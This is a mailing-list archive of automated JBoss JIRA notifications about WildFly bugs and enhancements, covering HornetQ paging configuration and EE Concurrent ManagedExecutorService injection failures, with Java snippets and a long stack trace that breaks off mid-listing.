Date: Mon, 2 Sep 2013 05:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.3954.1378115763544@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800855#comment-12800855 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980] from MODIFIED to POST
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 05:56:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Mon, 2 Sep 2013 05:56:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.3957.1378115763835@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800856#comment-12800856 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> made a comment on [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980]

It has not been merged yet, thus changing it to POST.
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 06:22:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 2 Sep 2013 06:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1979) Default EE Concurrent
	per-deployment
In-Reply-To: <JIRA.12499747.1378117211075@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499747.1378117211075@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499747.1378117211075.4050.1378117323426@jira02.app.mwc.hst.phx2.redhat.com>

Eduardo Martins created WFLY-1979:
-------------------------------------

             Summary: Default EE Concurrent per-deployment
                 Key: WFLY-1979
                 URL: https://issues.jboss.org/browse/WFLY-1979
             Project: WildFly
          Issue Type: Feature Request
          Components: EE
            Reporter: Eduardo Martins
            Assignee: Eduardo Martins


Deployments/Components should have the possibility of overriding what EE Concurrent (JSR-236) default resources it has in JNDI, for instance, instead of having the globally shared managed executor service, a component could use its "jboss" deployment descriptor to have a different executor at java:comp/DefaultManagedExecutorService.



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 06:25:04 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 2 Sep 2013 06:25:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1974) @Resource
 ManagedExecutorService produces a null field
In-Reply-To: <JIRA.12499697.1377875472000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499697.1377875472000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499697.1377875472000.4068.1378117504301@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1974?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800866#comment-12800866 ] 

Eduardo Martins commented on WFLY-1974:
---------------------------------------

tks, will have a look at it asap.
                
> @Resource ManagedExecutorService produces a null field
> ------------------------------------------------------
>
>                 Key: WFLY-1974
>                 URL: https://issues.jboss.org/browse/WFLY-1974
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Eduardo Martins
>
> I compiled the latest WildFly master and tried:
> {code}
> @Resource
> private ManagedExecutorService managedExecutorService
> {code}
> However, the injected field managedExecutorService is null. This issue is gone when I use:
> {code}
> @Resource(mappedName = "java:comp/DefaultManagedExecutorService")
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Mon Sep  2 06:27:03 2013
From: jira-events at lists.jboss.org (Eduardo Martins (JIRA))
Date: Mon, 2 Sep 2013 06:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1975) IllegalStateException when
 invoking ManagedExecutorService.submit()
In-Reply-To: <JIRA.12499698.1377876030000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499698.1377876030000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499698.1377876030000.4074.1378117623673@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1975?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12800867#comment-12800867 ] 

Eduardo Martins commented on WFLY-1975:
---------------------------------------

JSR 236 default resources fail at servlets because the interceptor that sets the concurrent context is not used.
                
> IllegalStateException when invoking ManagedExecutorService.submit()
> -------------------------------------------------------------------
>
>                 Key: WFLY-1975
>                 URL: https://issues.jboss.org/browse/WFLY-1975
>             Project: WildFly
>          Issue Type: Bug
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Juergen Zimmermann
>            Assignee: Eduardo Martins
>
> I just compiled the latest WildFly master and have this code fragment which produces the stacktrace below.
> {code}
> public class KundeObserver {
>    @Resource(mappedName = "java:comp/DefaultManagedExecutorService")
>    private ManagedExecutorService managedExecutorService;
>    
>    public void onCreateKunde(@Observes @NeuerKunde final AbstractKunde kunde) {
>       if (kunde == null) {
>          return;
>       }
>       final Runnable sendMail = new Runnable() {
>          @Override
>          public void run() {
>          }
>       };
>       managedExecutorService.submit(sendMail);   // <-- Exception
>    }
> }
> {code}
> The same stacktrace occurs when I use Callable<Void> instead of Runnable (and a call method just returning null).
> The stacktrace:
> {code}
> 17:13:57,490 ERROR [io.undertow.request] Servlet request failed HttpServerExchange{ POST /shop2/rest/kunden}: org.jboss.resteasy.spi.UnhandledException: java.lang.IllegalStateException: JBAS016707: No concurrent context currently set, unable to locate the context service to delegate.
> 	at org.jboss.resteasy.core.ExceptionHandler.handleApplicationException(ExceptionHandler.java:76) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.ExceptionHandler.handleException(ExceptionHandler.java:212) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.SynchronousDispatcher.writeException(SynchronousDispatcher.java:149) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.SynchronousDispatcher.invoke(SynchronousDispatcher.java:372) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.core.SynchronousDispatcher.invoke(SynchronousDispatcher.java:179) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.plugins.server.servlet.ServletContainerDispatcher.service(ServletContainerDispatcher.java:220) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.plugins.server.servlet.HttpServletDispatcher.service(HttpServletDispatcher.java:56) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at org.jboss.resteasy.plugins.server.servlet.HttpServletDispatcher.service(HttpServletDispatcher.java:51) [resteasy-jaxrs-3.0.3.Final.jar:]
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.websockets.jsr.JsrWebSocketFilter.doFilter(JsrWebSocketFilter.java:136) [undertow-websockets-jsr-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:56) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:132) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:85) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:93) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.security.handlers.AuthenticationConstraintHandler.handleRequest(AuthenticationConstraintHandler.java:51) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.security.ServletSecurityConstraintHandler.handleRequest(ServletSecurityConstraintHandler.java:55) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:207) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:194) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:72) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:128) [undertow-servlet-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta11.jar:1.0.0.Beta11]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
> Caused by: java.lang.IllegalStateException: JBAS016707: No concurrent context currently set, unable to locate the context service to delegate.
> 	at org.jboss.as.ee.concurrent.DefaultContextSetupProviderImpl.getConcurrentContext(DefaultContextSetupProviderImpl.java:41)
> 	at org.jboss.as.ee.concurrent.DefaultContextSetupProviderImpl.saveContext(DefaultContextSetupProviderImpl.java:48)
> 	at org.glassfish.enterprise.concurrent.internal.ManagedFutureTask.captureContext(ManagedFutureTask.java:113)
> 	at org.glassfish.enterprise.concurrent.internal.ManagedFutureTask.<init>(ManagedFutureTask.java:83)
> 	at org.glassfish.enterprise.concurrent.ManagedExecutorServiceImpl.getNewTaskFor(ManagedExecutorServiceImpl.java:164)
> 	at org.glassfish.enterprise.concurrent.AbstractManagedExecutorService.submit(AbstractManagedExecutorService.java:357)
> 	at org.glassfish.enterprise.concurrent.ManagedExecutorServiceAdapter.submit(ManagedExecutorServiceAdapter.java:72)
> 	at de.shop.kundenverwaltung.service.KundeObserver.onCreateKunde(KundeObserver.java:132) [classes:]
> 	at de.shop.kundenverwaltung.service.KundeObserver$Proxy$_$$_WeldSubclass.onCreateKunde(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleInterceptionChain.interceptorChainCompleted(SimpleInterceptionChain.java:47) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:80) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorInvocationContext.proceed(InterceptorInvocationContext.java:146) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.util.LogInterceptor.log(LogInterceptor.java:73) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:78) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.kundenverwaltung.service.KundeObserver$Proxy$_$$_WeldSubclass.onCreateKunde(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.injection.MethodInjectionPoint.invokeOnInstanceWithSpecialValue(MethodInjectionPoint.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverMethodImpl.sendEvent(ObserverMethodImpl.java:274) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverMethodImpl.sendEvent(ObserverMethodImpl.java:261) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverMethodImpl.notify(ObserverMethodImpl.java:240) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverNotifier.notifyObserver(ObserverNotifier.java:171) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverNotifier.notifyObserver(ObserverNotifier.java:167) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.TransactionalObserverNotifier.notifyObserver(TransactionalObserverNotifier.java:44) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverNotifier.notifyObservers(ObserverNotifier.java:121) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.ObserverNotifier.fireEvent(ObserverNotifier.java:114) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.event.EventImpl.fire(EventImpl.java:84) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.kundenverwaltung.service.KundeService.createKunde(KundeService.java:412) [classes:]
> 	at de.shop.kundenverwaltung.service.KundeService$Proxy$_$$_WeldSubclass.createKunde(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleInterceptionChain.interceptorChainCompleted(SimpleInterceptionChain.java:47) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:80) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorInvocationContext.proceed(InterceptorInvocationContext.java:146) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.util.LogInterceptor.log(LogInterceptor.java:73) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:78) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.kundenverwaltung.service.KundeService$Proxy$_$$_WeldSubclass.createKunde(Unknown Source) [classes:]
> 	at de.shop.kundenverwaltung.rest.KundeResource.createKunde(KundeResource.java:337) [classes:]
> 	at de.shop.kundenverwaltung.rest.KundeResource$Proxy$_$$_WeldSubclass.createKunde(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleInterceptionChain.interceptorChainCompleted(SimpleInterceptionChain.java:47) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:80) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorInvocationContext.proceed(InterceptorInvocationContext.java:146) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at de.shop.util.LogInterceptor.log(LogInterceptor.java:73) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_25]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:78) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorInvocationContext.proceed(InterceptorInvocationContext.java:146) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.hibernate.validator.internal.cdi.interceptor.ValidationInterceptor.validateMethodInvocation(ValidationInterceptor.java:87) [hibernate-validator-cdi-5.0.1.Final.jar:5.0.1.Final]
> 	at sun.reflect.GeneratedMethodAccessor339.invoke(Unknown Source) [:1.7.0_25]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_25]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_25]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:93) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:78) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at org.jboss.weld.interceptor.proxy.InterceptorInvocationContext.proceed(InterceptorInvocationContext.java:146) [weld-core-impl-2.0.3.Final.jar:2013-07-17 09:29]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.invokeInOurTx(TransactionalInterceptorBase.java:74) [narayana-jts-jacorb-5.0.0.M3.jar:5.0.0.M3 (revision: ${buildNumber})]
